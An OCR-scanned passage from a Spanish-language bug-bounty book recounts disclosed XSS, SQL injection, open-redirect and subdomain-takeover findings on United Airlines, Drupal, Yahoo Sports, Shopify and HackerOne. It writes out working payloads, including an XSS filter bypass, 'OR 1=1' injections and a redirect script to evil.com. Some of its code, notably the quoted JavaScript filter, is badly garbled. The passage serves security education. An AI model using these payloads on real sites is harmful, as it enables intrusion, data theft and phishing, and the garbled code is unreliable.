en los sitios de United Airlines para ver si podia encontrar algunos fallos (al momento de escribir
esto, United Airlines opera su propio programa de recompensas por fallos). Después de un poco
de exploracion inicial, se fijo que al visitar el sub dominio checkin.united.com lo redirigia a una
URL que incluia un parametro SID el cual era mostrado en la pagina HTML. Asi que probd "><svg
onload=confirm(1)> el cual, de ser renderizado inapropiadamente, podria cerrar algun atributo
HTML existente e inyectar su propia etiqueta svg que resultaria en una ventana emergente cortesia
de la funcion confirm() de Javascript disparada por el evento onload.

Pero al enviar su solicitud HTTP no pasaba nada, aunque su carga de coédigo era renderizada tal
como la habia enviado, sin escapar los caracteres especiales:

="4<5T onload=confirm(1)="| style="display: block:; margin-top: 4px;"=Contact us</a=

=d. com/web/en-US/apps/ searchiresults. aspx?SID=">=svg onload=confirm{1)=" method="get"-->

ted.comswebsen-US/apps/search/results. aspx ?SID="><svg onload=confirm(1)>"p<span class=""icon-sitesearch'><span class="sr-only">Submit search</span=</span=</button>

w.united.com/web/en-US/apps/account/account . aspx ?SID="=svg onload=confirm(1l)=| data-authurl="//www. united.com/ual/en/us/Account/Account/Login?SID="4<svg onload=confirm(1)=

www.united.com/ual/en/us/Default/HomepagelinkContent/_HomepagelinkContentAsync?SID=">ksvg onload=confirm(1)>f></div>

Coédigo fuente de la pagina de United

Aqui esta una de las razones por la que inclui este ejemplo, mientras que, probablemente yo
me hubiera rendido y me hubiera marchado, Mustafa excavo y se pregunté qué estaba pasando.
Comenzo a buscar en el Javascript del sitio y vino a encontrarse con el siguiente codigo, el cual lo
que esencialmente hace es anular c6digo Javascript potencialmente malicioso, especificamente las
llamadas a alert, confirm, prompt, write, etc.:
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[functisn (1 4
Fil
455 prevention wia JawaSc ript
b
war XS5ieject = new Chjecti):
15508 ject. lockdawn = function (ohj. rame] {
1T [IString. protetype. atartanith) {
try {
if (object . definePropertyd {
Chject . definePrapartylob], nase, {
configurable: false

}
V catch (e} { }:

AS508 ject.proey = functien (obj. name. regart_functisn_nase. emec_originall) {

war proxy = abjlrase];

objlrame] = function {) {

if (mmec_originall {
FRTUrn prn:cr..:pp'lr-:th:l.r._. argusants);

I

NeSieject. lackdswn (ob], naese):
ASSE ject . progy (windsw, “alert”, ‘windew. alert’, Talsa);
S50 ject. procy{window, “confirme’, “window.confirm’, false):
ASS0h ject. prooy ivinddw. “grompt’ . “window. promgt’ . Talsel:
ASS0h ject . prooy (windse, “unescapa’, “unesfape’. Talge);
A5500 ject.procy{dooament, “write', “document write',. falsel:

NE50h ject. proayiFtring, “froslFacCode’ . “String. Trom(harCeda’. Trual:
i

Filtro XSS de United

Echando un vistazo a esa porcion de cédigo, aunque no sepas Javascript, podrias adivinar qué esta
pasando debido a algunas de las palabras utilizadas. Especificamente fijate en exec_original que se
encuentra en la definicion del proxy XSSObject. Sin ningin conocimiento de Javascript, podemos
asumir que esto se refiere a ejecutar la entrada original. Inmediatamente abajo podemos ver una lista
de nuestras palabras claves seguidas del valor false (excepto la tltima). Asi que, podemos asumir que
el sitio esta intentando protegerse él mismo a través de deshabilitar algunas funciones especificas.
Ahora, como tu estas aprendiendo el arte del hacking, una de las cosas que tienden a molestarte son
las listas negras, como esa. Son una forma terrible de protegerse en contra de los hackers.

Sobre esa anotacion, podrias saber o no, que una de las cosas interesantes sobre Javascript
es que puedes anular funciones existentes. Asi que conociendo eso Mustafa primero intento
restaurar la funcion document.write con el siguiente valor afiadido en el parametro SID javas-
cript:document.write=HTMLDocument.prototype.write;document.write(‘'STRUKT’);. Lo que ha-
ce esto es restaurar la funciéon document.write a su funcionalidad original; y ya que Javascript es
orientado a objetos, todos los objetos tienen un prototipo. Asi que, Mustafa al llamar a HMLDocu-
ment reestablecio la funciéon document.write actual de nuevo a su implementacion original desde
HTMLDocument. Sin embargo, al llamar a document.write(‘'STRUKT’), todo lo que hizo fue afiadir
su nombre en texto plano a la pagina:
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€ united.com *B O 3 /& = G-
INT ¥ | = & 5QLv XS5¥ Encryption¥ Encoding¥ Otherv

& Load URL | http://checkin.united.com/travel/checkin/start.aspx?SI1D="><h1 onmouseenter=top[ locatio'%2b'n’]=top['locatio'%2b'n’].hash. slice (1)>TES TING</h1>&sessionKey =&

§Q Split URL glanguage=0#javascript:document.write = HTMLDocument.prototype.write;document v.n'itet‘STRUI(T‘),l
SR

Y Execute
Enable Post data Enable Referrer

STRUKT

Texto plano en el sitio de United

Mientras que esto no funciond, reconocer que la construccion de funciones en Javascript puede ser
anulada eso vendra a ser muy util algun dia. Sin embargo, a este punto, de acuerdo al articulo en su
blog y la platica que tuvo conmigo, Mustafa estuvo un poco atascado, asi que entr6é en contacto
con @brutelogic. No solamente hicieron el trabajo juntos para ejecutar el Javascript, sino que
pacientemente respondieron a una tonelada de preguntas que les hice acerca del descubrimiento,
asi que se lo agradezco a ambos (también me gustaria recomendar el blog de Mustafa y el sitio de
@brutelogic ya que él tiene un fabuloso contenido sobre XSS, incluyendo una hoja de trucos que
ahora esté incluida en el repositorio de SecList. Ambos recursos estan referenciados en el capitulo
sobre Recursos).

Conforme a la platica que tuve con ambos hackers, el filtro XSS de United estaba olvidando una
funcidén parecida a write, que seria writeln. La diferencia entre estas dos es que writeln simplemente
anade una nueva linea después de escribir su texto, mientras que write no lo hace.

Al saber esto, @brutelogic supo que podria usar la funcién para escribir contenido al documento

HTML, sobrepasando una pieza del filtro XSS de United. Lo hizo con ”;}{document.writeln(decodeURI(location.ha
“#<img src=1 onerror=alert(1)>, pero su Javascript todavia no se ejecutaba. Eso era porque el filtro

XSS todavia se estaba cargando y anulando la funcién alert.

Antes de obtener la carga de cddigo final, echemos un vistazo a lo que Brute utiliz6 para tirar abajo
el filtro:

. .7 » . . . ’ . .
« La primera porcion, ”;} cierra el primer Javascript que esta siendo inyectado
« La segunda porcion, { abre su carga de codigo Javascript

« La tercera porcion, document.writeln esta llamando al objeto document de Javascript y su
funcion writeln para escribir contenido a la pagina (actualmente, al objeto document)
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+ La cuarta porcién, decodeURI es una funciéon con la cual decodifica entidades codificadas en
una URL (por e€j., %22 vendra a ser “)

« La quinta porcion, location.hash devolvera todos los parametros después del simbolo # en la
URL

« La sexta porcion, -“ reemplaza la comilla de la primera porcién para asegurar propiamente la
sintaxis de Javascript

« La ultima porcidn, #<img src=1 onerror=alert(1)> anade un parametro que nunca es enviado
al servidor, pero siempre se mantiene de forma local. Esto fue lo mas confuso para mi, pero tu
puedes probarlo abriendo las herramientas del desarrollador de Chrome o Firefox, yendo a la
pestafna Recursos y luego en el navegador, afiade #test a cualquier URL y notaras que eso no
se incluye en la solicitud HTTP

Asi que, con eso Brute y Mustafa reconocieron que necesitaban un documento fresco HTML en el
contexto del sitio de United, lo que significa que necesitaban una pagina que no tuviera el filtro XSS
de Javascript cargado, pero que todavia tuvieran acceso a la informacion de la pagina web de United
con sus cookies, etc. Y para hacerlo usaron un IFrame.

En esencia, un IFrame es un documento HTML embebido dentro de otro documento HTML en un
sitio. En su forma maés bésica, puedes pensar en una pagina fresca HTML pero que tiene acceso a la
pagina HTML en la cual esta embebiendo. En este caso, el [Frame no podria tener acceso al filtro
XSS de Javascript cargado porque este esta siendo embebido en el sitio de United. Esto ahora podria
tener acceso a todo su contenido, incluyendo las cookies.

Habiendo dicho todo esto, aqui esta como se mira la carga de codigo final:

< X {} | B https;//www.united.com

An embedded page on this webpage says:

www.united.com

XSS en United

Los IFrames pueden tomar un atributo fuente y traer el HTML remoto. Esto le permitié a Brute
establecer que la fuente sea Javascript e inmediatamente llamar la funcién alert con el dominio del
documento.
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q& Recomendaciones

Hay un buen niimero de cosas que me gustaron de esta vulnerabilidad que me hicieron
incluirla. Primero, la persistencia de Mustafa. En lugar de rendirse cuando su carga de
codigo inicial no hizo nada inicialmente, excavé dentro del codigo Javascript y encontré
un por qué. Segundo, el uso de listas negras podria ser un banderin de alerta de bandera
roja para todos los hackers. Manten un ojo sobre eso cuando te encuentres hackeando. Por
ultimo, aprendi mucho de la carga de cédigo y haber platicado con @brutelogic. Al hablar
con hackers y mi auto aprendizaje, he venido a darme cuenta que leer y tener un poco de
conocimiento de Javascript es esencial para echar mano de vulnerabilidades mas complejas.

Resumen

Las vulnerabilidades XSS representan un riesgo real para los desarrolladores de sitios y aun
prevalecen en sitios de vista plana o sencilla. Por el envio de una simple llamada al método alert
de Javascript, alert(‘test’), puedes revisar si el campo de entrada es vulnerable. De forma adicional,
podrias combinar esto con una inyeccion HTML y enviar caracteres ASCII codificados para ver si
el texto es renderizado e interpretado.

Cuando busques vulnerabilidades XSS, aqui hay algunas cosas que debes recordar:

Porbar lo que sea Sin importar cuando y en qué sitio estas buscando, siempre mantente
hackeando! No pienses que un sitio por ser muy grande o muy complejo no puede ser
vulnerable. Las oportunidades pueden estar brillando en tu cara, como la prueba en
wholesale.shopify.com. El XSS almacenado en Google Tagmanager que fue el resultado
de encontrar una forma alternativa de afiadir etiquetas al sitio.

Las vulnerabilidades pueden existir en cualquier valor de un formulario Por
ejemplo, en la vulnerabilidad de la tarjeta de regalo en el sitio de Shopify en el cual
fue explotar el campo name asociado con la subida de una imagen no en el campo del
archivo en si mismo.

Siempre utiliza un proxy HTML cuando te encuentres haciendo pruebas Cuando
intentas enviar valores maliciosos desde la pagina web misma, podrias caer en la
ejecucion de positivos falsos cuando el Javascript del sitio recoge tus valores ilegales.
No desperdicies tu tiempo. Envia valores legitimos por medio del navegador y luego
cambia esos valores con tu proxy a un cddigo Javascript ejecutable y envia eso.

Las vulnerabilidades XSS suceden en el momento de la renderizacién Debido a que
el XSS sucede cuando los navegadores renderizan el texto, asegurate de revisar todas las
areas de un sitio donde los valores que ingreses estan siendo utilizados. Es posible que
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el Javascript que anadas no sea renderizado inmediatamente pero podria mostrarse en
paginas posteriores. Es dificil cuando a veces quieres mantenerte con un ojo afuera del
sitio porque esta filtrando la entrada o escapando la salida. Si sucede lo primero, busca
la forma de saltarte el filtro de entrada, ya que los desarrolladores pudieron haber sido
perezosos y no escapar la entrada para renderizarla.

Prueba los valores insospechables No siempre proveas el tipo de valor que se espera.
Cuando fue encontrado el exploit HTML de Yahoo Mail, se provey6 de un atributo
inesperado en la etiqueta IMG de HTML. Piensa por el lado externo de la caja,
piensa fuera de lo normal y considera lo que un desarrollador estd buscando y luego
intenta proveer algo que no concuerde con sus expectativas. Esto incluye buscar formas
novedosas para que un Javascript potencial sea ejecutado, como saltarse el evento
onmousedown en Google Images.

Mantente alerta de las listas negras Si un sitio no est codificando los valores enviados
(por ej., que > venga a ser %gt;, 0 que < venga a ser %lt;, etc), intenta encontrar por qué.
Como en el ejemplo de United, podria ser posible que ellos estén utilizando una lista
negra la cual pueda ser evitada.

Los IFrames son tus amigos Los [Frames ejecutaran un documento HTML en su
interior pero aun tendran acceso al documento HTML al cual se estan embebiendo. Esto
significa que si existe algiin codigo Javascript actuando como filtro en el documento
HTML padre, al embeberlo en un [Frame te proveera con un documento HTML nuevo
que no tenga esas protecciones.

72
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Descripcion

Una inyeccion SQL, o SQLI, es una vulnerabilidad la cual permite a un hacker “inyectar” sentencias
SQL en un sitio objetivo y tener acceso a su base de datos. El potencial es enorme y a menudo es una
vulnerabilidad altamente recompensada. Por ejemplo, los atacantes podrian realizar cualquer tipo
de acciones CRUD (Creacion, Lectura, Actualizacion y Eliminacion) sobre la informacion de la base
de datos. Los atacantes aun podrian tener el alcance de hacer una ejecucion remota de comandos.

Los ataques SQLi son generalmente el resultado de una entrada de datos que no ha sido escapada y
que dicha entrada ha sido pasada al sitio para formar parte de una consulta a la base de datos. Un
ejemplo de eso podria parecerse a esto:

$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = $name";

Aqui, el valor que ha sido pasado de la entrada de datos del usuario ha sido insertada directamente
a la consulta de la base de datos. Si un usuario ingresara el valor test’ OR 1=1, la consulta podria
devolver el primer registro donde el parametro name sea = test OR 1=1, y eso corresponde a la
primera fila. Ahora, en otras ocasiones podrias tener algo como esto:

$query = "SELECT * FROM users WHERE (name = $name AND password = 12345");
En este caso, si utilizaste la misma carga de codigo, test’ OR 1=1, tu sentencia podria terminar como:
$query = "SELECT * FROM users WHERE (name = 'test' OR 1=1 AND password = 12345");

Aqui, la consulta podria haberse comportado un poco distinta (al menos con MySQL). Podemos
obtener todos los registros donde el nombre sea test y todos los registros donde la la contraseria sea
12345. Con esto, obviamente, no podriamos alcanzar nuestra meta de encontrar el primer registro
en la base de datos. Como resultado, necesitamos eliminar el parametro de la contrasefia y podemos
hacerlo con un comentario, test’ OR 1=1;—. Lo que hemos hecho es afiadir un punto y coma para
finalizar apropiadamente la consulta SQL e inmediatamente afiadimos dos guiones, lo que significa
que todo lo que siga después de eso sea tratado como un comentario y por lo tanto no sea evaluado.
Esto terminara dando el mismo resultado de nuestro primer ejemplo.
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Ejemplos

1. Inyeccién SQL en Drupal

Dificultad: Media

URL: Cualquier sitio ejecutando Drupal con una versiéon menor a la 7.32
Enlace del informe: https://hackerone.com/reports/31756*

Fecha del informe: 17 de Octubre, 2014

Recompensa recibida: $3,000

Descripcion:

Drupal es un sistema de administracion de contenidos muy popular utilizado para construir sitios
web, muy parecido a Wordpress y Joomla. Esta escrito en PHP y est4 basado en la modularidad,
lo que significa que una funcionalidad nueva puede ser afiadida al sitio con Drupal solamente
instalando un modulo. La comunidad de Drupal ha escrito miles de médulos y los ha liberado de
forma gratuita. Los ejemplos de estos incluyen moédulos para e-commerce, integracion con recursos
de terceros, produccion de contenido, etc. Sin embargo, cada instalaciéon de Drupal contiene el mismo
conjunto de moédulos principales utilizados para ejecutar la plataforma y solicita una conexién a una
base de datos. Estos son tipicamente conocidos como los médulos Drupal core.

En 2014, el equipo de seguridad de Drupal liber6é una actualizacion de seguridad de emergencia
para Drupal core indicando que todos los sitios con Drupal eran vulnerables a inyeccién SQL, la
cual podia ser realizada por usuarios anénimos. El impacto de la vulnerabilidad podia permitir a un
atacante tomar el control de cualquier sitio con Drupal que no estuviera actualizado.

En términos de la vulnearbilidad, Stefan Horst descubrié que los desarrolladores de Drupal habian
implementado incorrectamente una funcionalidad de envoltorio para consultas a la base de datos, la
cual permitia ser abusada por los atacantes. Mas especificamente, Drupal estaba usando Objetos de
Datos PHP (PDO) como una interfaz para acceder a la base de datos. Los desarrolladores de Drupal
core ecribieron codigo el cual llamaba a esas funciones y ese c6digo Drupal era usado en cualquier
momento por otros desarrolladores que estuvieran escribiendo co6digo para interactuar con una base
de datos de Drupal. Esta es una practica comun en el desarrollo de software. La razon de esto era
permitir que Drupal sea usado con distintos tipos de bases de datos (MySQL, Postgres, etc.), eliminar
la complejidad y proveer estandarizacion.

Ahora, dicho eso, volvamos al descubrimiento de Stefan, dado que el c6digo de envoltorio de Drupal
asumia erroneamente que un arreglo de datos era pasado a una consulta SQL. Aqui esta el codigo
original:

**https://hackerone.com/reports/31756


https://hackerone.com/reports/31756
https://hackerone.com/reports/31756
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foreach ($data as $i => $value) {
]

$new_keys[$key . . $i] = $value;

Puedes detectar el error (quien no habria podido)? Los desarrolladores asumieron que el arreglo de
datos podria contener siempre claves numéricas, como 0, 1, 2, etc. (en el valor $i) y por lo tanto,
ellos unieron la variable $key al valor de $i y eso lo hicieron igual al valor. Aqui esta como luce una
consulta tipica de Drupal de la funcién db_query:

db_query("SELECT * FROM {users} WHERE name IN (:name)", array(':name'=>array('us\
erl','user2')));

La funcién db_query toma una consulta de la base de datos SELECT * FROM {users} where name
IN (:name) y utiliza un arreglo de valores para sustituir los marcadores de posicién en la consulta.
En PHP cuando declaras un arreglo como array(‘valor’, ‘valor2’, ‘valor3’), lo que est creando es [0
= ‘valor’, 1 = ‘valor2’, 2 = ‘valor3’] donde cada valor es accesible por la clave numérica. Asi que,
en este caso, la variable :name era sustituida por valores en el arreglo [0 = ‘user1’, 1 = ‘user2’]. Lo
que podrias obtener de esto es:

SELECT * FROM users WHERE name IN (:name_@, :name_1)

Tan bueno, pero tan lejos. El problema surgia cuando obtenias un arreglo el cual no tenia claves
numéricas, como las siguientes:

db_query("SELECT * FROM {users} where name IN (:name)",
array(':name'=>array('test) -- ' => 'userl', 'test' => 'user2')));

En este caso, :name es un arreglo y sus claves son ‘test) -, ‘test’. Puedes ver hacia donde esta yendo
esto? Cuando Drupal recibia esto y procesaba el arreglo para crear la consuta, lo que obteniamos
era esto:

SELECT * FROM users WHERE name IN (:name_test) -- , :name_test)

Podria ser confuso al ver el por qué de esto, asi que vamos a recorrerlo. Basado en el foreach descrito
arriba, Drupal podria ir a través de cada elemento en el arreglo, uno a uno. Asi que, para la primera
iteracion de $i = test) — y $value = user1. Ahora, $key es (:name) desde la consulta y combinandolo
con $i, tenemos name_test) —. Para la segunda iteracion, $i = test y $value = user2. Asi que, al
combinar $key con $i, tenemos name_test. El resultado es un marcador de posicion con :name_test
el cual es igual a user2.
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Ahora, dicho todo esto, el hecho que Drupal estaba envolviendo los objetos PHP PDO venia a entrar
al juego el porqué PDO permite consultas multiples. Por lo tanto, un atacante podia pasar una entrada
maliciosa, como una consulta para crear un usuario Administrador por una clave del arreglo, la cual
consigui6 haberlo interpretado y ejecutado como consultas multiples.

Q¢ Recomendaciones

Las SQLi parecen ser dificiles de encontrar, al menos basado en la busqueda de informes
para este libro. Este ejemplo fue interesante porque no estaba dentro del &mbito del envio
de una comilla simple y romper la consulta. A diferencia de eso, todo se trataba de cémo el
codigo de Drupal estaba manejando los arreglos que eran pasados a las funciones internas.
Esto no es facil de descubrir con pruebas de caja negra (donde no tienes acceso a ver el
codigo). La recomendacion de esto es permanecer en la biisqueda de oportunidades para
alterar la estructura de una entrada pasada al sitio. Por lo tanto, donde una URL toma
?name como un parametro, intenta pasar un arreglo como ?name[] para ver como lo
maneja el sitio. Esto no podria resultar en una SQLi, pero podria conllevar a otro tipo
de comportamiento muy intersante.

2. Inyeccién SQL a ciegas en Yahoo Sports

Dificultad: Media

URL: sports.yahoo.com

Enlace del informe: esevece tumblr*
Fecha del informe: 16 de Febrero, 2014
Recompensa recibida: $3,705
Descripcion:

De acuerdo a su blog, Stefano encontré una vulnerabilidad SQLi gracias al parametro year en
http://sports.yahoo.com/nfl/draft?year=2010&type=20&round=2. Extraido de su articulo, aqui
esta un ejemplo de una respuesta valida para la Url:

““https://esevece.tumblr.com


https://esevece.tumblr.com/
https://esevece.tumblr.com/
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Intersantemente, cuando Stefano anadi6 dos guiones, —, a la consulta, el resultado cambio:

77



Inyeccion SQL

800
NFL - Draft - Yaheo Sports. ] +

NFL - Draft - Yahoo Sports - (Private Browsing)

;
@I sports.yahoo.com/nfl/draft?year=2010--&type=20&round=2

A Home  Mail News  Sporis

YAHOO!

SPORTS

Finance Weather Games Groups

I -

2013 NFL DRAFT april 25 apm £, April 26 6:50pm ET, April 27 12pm ET

Round

Sports Home

Pos Ht Wt School

aB 6'4 218 Oklahoma

" National Football Post: A no-brainer here as the Rams get their

| franchise QB. Bradford possesses an intriguing blend of accuracy
| and intangibles, and he is clearly the No. 1 signal caller in the draft.

= DoT 6'4 300 Nebraska
" National Football Post: The Lions have holes on both sides of the
. football, but Suh could be a real difference maker at the next level,
A potential blue-chip defensive lineman who can dominate vs. the
run game and knows how to reach the passer. The new
cornerstone of the Lions defenss.
= DoT 6'4 295 Oklahoma

games.yahoo.com

Respuesta valida de Yahoo

c |(B- Google

Answers Screen Flickr Mobile

‘Search Web

More +

Sign In

N Mail

$4991s0

POR FAMILIA

VER OFERTAS
clic agui

Yahoo Sports - NBC Sports Network, Stats LLC, Opta. All Rights Reserved
Help / Suggestions  Privacy About Our Ads  Terms

78

La razén de esto es que los dos guiones, —, actian como comentarios en la consulta, tal como lo
detallé arriba. Por lo tanto, la consulta original de Yahoo podria haberse parecido a algo como esto:

SELECT * FROM PLAYERS WHERE YEAR = 2010 AND TYPE = 20 AND ROUND = 2;

Al insertar los dos guiones, Stefano hizo esencialmente que pareciera actuar como esto:

SELECT * FROM PLAYERS WHERE YEAR = 2010;

Sabiendo esto, fue posible empezar a halar informacion de la base de datos de Yahoo. Por ejemplo,
Stefano fue capaz de revisar el nimero mayor de la version del software de base de datos con lo

siguiente:
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Version de la base de datos de Yahoo

Usando la funcion IF, el parametro players podia devolver el primer caracter de la funcién version()
el cual fue 5. La funciéon IF toma una condicién y devolvera el valor después si la condicién es
verdadera y si el ultimo parametro es falso. Por lo tanto, basado en la imagen de arriba, la doncicion
fue el primer caracter en la versiéon. Como resultado, sabemos que la version de la base de datos no
es 5 ya que no hubieron resultados devueltos (asegurate de revisar la hoja de trucos de MySQL en
la pagina de Recursos para funcionalidades adicionales cuando estés probando una SQLi).

La razon por la que es considerada una inyeccion a ciegas es porque Stefano no pudo ver los
resultados directos; él no pudo mostrar la version de la base de datos porque Yahoo solamente
estaba devolviendo jugadores. Sin embargo, al manipular la consulta y comparar el resultado contra
el resultado de la consulta base (la de la primera imagen), él podria haber sido capaz de seguir
extrayendo informacién de la base de datos de Yahoo.

qt Recomendaciones

Las SQLi, como otras vulnerabilidades de inyeccion, no son tan dificil de explotar. La clave
estd en probar parametros a ver cual puede ser vulnerable. En este caso, Stefano al afiadir
dos guiones cambié claramente el resultado de la consulta base, la cual le proporciond la
SQLi. Al buscar vulnerabildiades parecidas, fijate en los cambios sutiles de los resultados
porque ellos pueden ser indicadores de una vulnerabilidad de inyeccién SQL a ciegas.
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Resumen

Las SQLi pueden ser muy significativas y peligrosas para un sitio. Encontrar este tipo de vulnera-
bilidades podria conllevar a otorgar permisos totales de CRUD en un sitio. En otros casos, podria
llegar a ser escalado a ejecucion remota de codigo. De hecho, el ejemplo de Drupal fue uno de esos
casos ya que hay pruebas que los atacantes podrian ejecutar cddigo por medio de la vulnerabilidad.
Cuando te encuentres en la busqueda de estas inyecciones, no deberias solamente echar un ojo a la
posibilidad de enviar comillas simples o dobles sin escapar a una consulta, sino que también busca la
oportundiad de proveer datos de forma inesperada, como la sustitucién de parametros de arreglos en
los datos POST. Con este pensamiento, algunas veces los indicadores de la vulnerabilidad pueden ser
tan sutiles, tal como la inyeccion a ciegas que fue encontrada por Stefano en Yahoo Sports. Manten
los ojos antentos por cambios sutiles en el conjunto de resultados cuando te encuentres haciendo
pruebas tales como anadiendo comentarios SQL a los parametros.



Vulnerabilidades de Redireccion
Abierta

Descripcion

De acuerdo al Proyecto Abierto de Seguridad de Aplicaciones Web (OWASP), una redireccion abierta
sucede cuando una aplicaciéon toma un parametro y redirige a un usuario hacia el destino del valor
que contiene ese parametro sin que se haya realizado alguna validacion del valor.

Esta vulnerabilidad es utilizada en ataques de phishing para llevar a los usuarios a que visiten sitios
maliciosos sin que el usuario se de cuenta de ello, abusando de la confianza de un determinado
dominio para llevar a los usuario a otro lugar. El sitio web malicioso que sirve como destino redirigido
puede estar preparado para lucir como un sitio legitimo e intentar recoger informacién sensible o
personal.

Enlaces

Revisa la Hoja de trucos de OWASP sobre redirecciones no validadas y encaminamiento*

Ejemplos

1. Redireccion abierta en la instalacion de Tema en Shopify

Dificultad: Baja

URL: app.shopify.com/services/google/themes/preview/supply-blue?domain_name=XX
Enlace del informe: https://hackerone.com/reports/101962*

Fecha del informe: 25 de Noviembre, 2015

Recompensa recibida: $500

Descripcion:

La plataforma de Shopify permite a los administradores de tienda personalizar la apariencia de
sus tiendas. Y para hacerlo, los administradores instalan temas. La vulnerabilidad aqui es que una

“Thttps://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
“’https://hackerone.com/reports/101962
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pagina de instalacion de tema estaba interpretando el parametro de redirect y devolvia un mensaje
301 redirect al navegador del usuario sin validar el dominio de la redireccion.

Como resultado, si un usuario visitaba https://app.shopify.com/services/google/themes/preview/supply—
blue?domain_name=example.com, podria ser redirigido a http://example.com/admin.

Un usuario malicioso podria haber hospedado un sitio en ese dominio para probar y conducir ataques
de phishing a usuarios desprevenidos.

qt Recomendaciones

Con el riesgo de ser demasiado repetitivo, no todas las vulnerabilidades son complejas. La
redireccion abierta en este caso, simplemente necesita que se cambie el valor del parametro
redirect hacia un sitio externo.

2. Redireccion abierta en el inicio de sesion de Shopify

Dificultad: Media

URL: http://mystore.myshopify.com/account/login

Enlace del informe: https://hackerone.com/reports/103772*
Fecha del informe: 6 de Diciembre, 2015

Recompensa recibida: $500

Descripcion:

Esta redireccion abierta es muy parecida a la que hemos discutido mas arriba, pero aqui, la vulne-
rabilidad sucede después que un usuario ha iniciado sesién utilizando el parametro ?checkout_url.
Por ejemplo:

http://mystore.myshopify.com/account/login?checkout_url=.np
Como resultado, cuando un usuario visite el enlace e inicie sesion, sera redirigido a:
https://mystore.myshopify.com.np/

el cual, ya no es mas un dominio perteneciente a Shopify!

“3https://hackerone.com/reports/103772
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3. Redireccion intermedia en HackerOne

Dificultad: Media

URL: No disponible N/A

Enlace del informe: https://hackerone.com/reports/111968**
Fecha del informe: 20 de Enero, 2016

Recompensa recibida: $500

Descripcion:

La redireccion intermedia a la que aqui se hace referencia hace alusién a una redireccion que sucede
sin detenerse en el medio, la cual avise que estas siendo redirigido.

Atualmente, HackerOne provee en leguaje claro una descripciéon de esta vulnerabilidad en el
informe:

Los enlaces con dominio hackerone.com son tratados como enlaces de confianza,
inlcuidos los seguidos por /zendesk_session. Caulquiera puede crearse una cuenta
personalizada de Zendesk que redirija a un sitio no confiable provisto en /redirect_to_-
account?state= param; debido a que Zendesk permite la redireccién entre cuentas sin
que haya una pausa intermedia, con lo que pudieras ser llevado a un sitio no confiable
sin alguna advertencia.

Dado que el origen del problema esta dentro de Zendesk, hemos elegido por identificar
los enlaces con zendesk_session como enlaces externos los cuales pueden mostrar un
icono externo y una pagina de advertencia intermedia cuando se le haya hecho clic.

Por lo tanto, Mahmoud Jamal (si, el mismo Mahmoud de la vulnerabilidad XSS de Google) cre6 una
cuenta company.zendesk.com y afiadio:

<script>document.location.href = "http://evil.com";</script>
a las cabeceras del archivo por medio del editor de temas de Zendesk. Luego, paso el enlace:

https://hackerone.com/zendesk_session?locale_id=1&return_to=https://support.hack\
erone.com/ping/redirect_to_account?state=company:/

la cual es utilizada para redirigir a una sesion generada de Zendesk.

Ahora, de forma muy interesante, Mahmoud informé de este problema de redireccion originalmente
a Zendesk quienes declararon que no ven ningin problema en esto. Asi que, naturalmente, él se
mantuvo excavando en el asunto para ver como puede ser explotado.

“*https://hackerone.com/reports/111968
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q& Recomendaciones

Como lo discutimos en el capitulo de la légica de la Aplicacion, lo cual parece repetirse aqui,
cuando busques vulnerabilidades toma nota de los servicios que un sitio utiliza, ya que estos
representan un vector de ataque nuevo durante tu bisqueda. Aqui, esta vulnerabilidad fue
hecha posible al combinar el uso que hace HackerOne de Zendesk y la redireccién conocida
que ellos estban pemitiendo.

Adicionalmente, cuando encuentres errores, habran ocasiones cuando las implicaciones de
seguridad no son leidas con claridad, son mal entendidas o mal interpretadas por la persona
que esta leyendo y respondiendo a tu informe. Ese es el motivo del por qué tengo un capitulo
dedicado a los informes de vulnerabilidad. Si haces un poco de trabajo por adelantado y con
respeto explicando las implicaciones de seguridad en tu informe, esto ayudara a asegurar
una resolucion favorable.

Pero, aun dicho eso, habran ocasiones cuando las compaiiias no estan de acuerdo contigo.
Si ese es el caso, sigue excavando como lo hizo Mahmoud y mira si puedes probar el exploit
o combinarlo con otra vulnerabilidad para demostrar la efectividad.

Resumen

Las redirecciones abiertas permiten a los atacantes redirigir a las personas sin su consentimiento a
un sitio malicioso. Al encontrarlos, como se ha mostrado en estos ejemplos, a menudo requiere una
observacion cuidadosa. Esto sucede algunas veces con la facilidad de descubrir un parametro del
tipo redirect_to=, domain_name=, checkout_url=, etc. Este tipo de vulnerabilidades recae a causa
del abuso de confianza, donde las victimas son engafadas a visitar el sitio de un atacante pensando
que estan visitando un sitio que ellos reconocen.

Generalmente, puedes descubrir esta vulnerabilidad cuando una URL es pasada como parametro a
una solicitud web. Pon atencién y juega con las direcciones para ver si aceptara un enlace hacia un
sitio externo.

Adicionalmente, la redireccion intermedia de HackerOne muestra la importancia de reconocer las
herramientas y servicios web mientras estas en la caceria de vulnerabilidades y de como algunas
veces tienes que ser persistente y claramente demostrar una vulnerabilidad antes que sea reconocida
y aceptada.



Toma de control de un sub dominio

Descripcion

La toma de control de un sub dominio es realmente lo que suena, una situacién en la que una persona
con malas intenciones puede reclamar un sub dominio a su nombre pero que teoricamente pertenece
a un sitio legitimo. En pocas palabras, este tipo de vulnerabilidad implica un sitio que ha creado una
entrada DNS a un sub dominio, por ejemplo, Heroku (la empresa de alojamiento) y nunca reclamé
ese sub dominio.

1. example.com se registra en Heroku
2. example.com crea una entrada DNS, subdomain.example.com apuntando hacia unicorn457.heroku.com
3. example.com nunca reclama o registra a su nombre unicorn457.heroku.com
4. Una persona con malas intenciones afirma que unicorn457.heroku.com es suyo y todavia éste
replica en example.com
5. Ahora, todo el trafico de subdomain.example.com se dirige a un sitio web malicioso que se
parece a example.com

Por lo tanto, para que esto suceda, es necesario que hayan entradas DNS no reclamadas hacia un
servicio externo como Heroku, Github, Amazon S3, Shopify, etc. Una gran manera de encontrar
estos fallos es por medio del uso de KnockPy, que se discute en la seccion de herramientas. Esta
herramienta itera sobre una lista comdn de sub dominios para verificar su existencia.

Ejemplos

1. Toma de control de un sub dominio de Ubiquiti

Dificultad: Baja

URL: http://assets.goubiquiti.com

Enlace del informe: https://hackerone.com/reports/109699*
Fecha del informe: 10 de Enero, 2016

Recompensa recibida: $500

Descripcion:

“Shttps://hackerone.com/reports/109699
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Tal como lo indica la descripcion, la toma de control del sub dominio http://assets.goubiquiti.com
tenia una entrada DNS apuntando hacia Amazon S3 para el almacenamiento de archivos, pero sin
un recipiente (bucket) de Amazon S3 que realmente existiera. Aqui esta la captura de pantalla de
HackerOne:

Type Domain Name Canonical Hame TTL

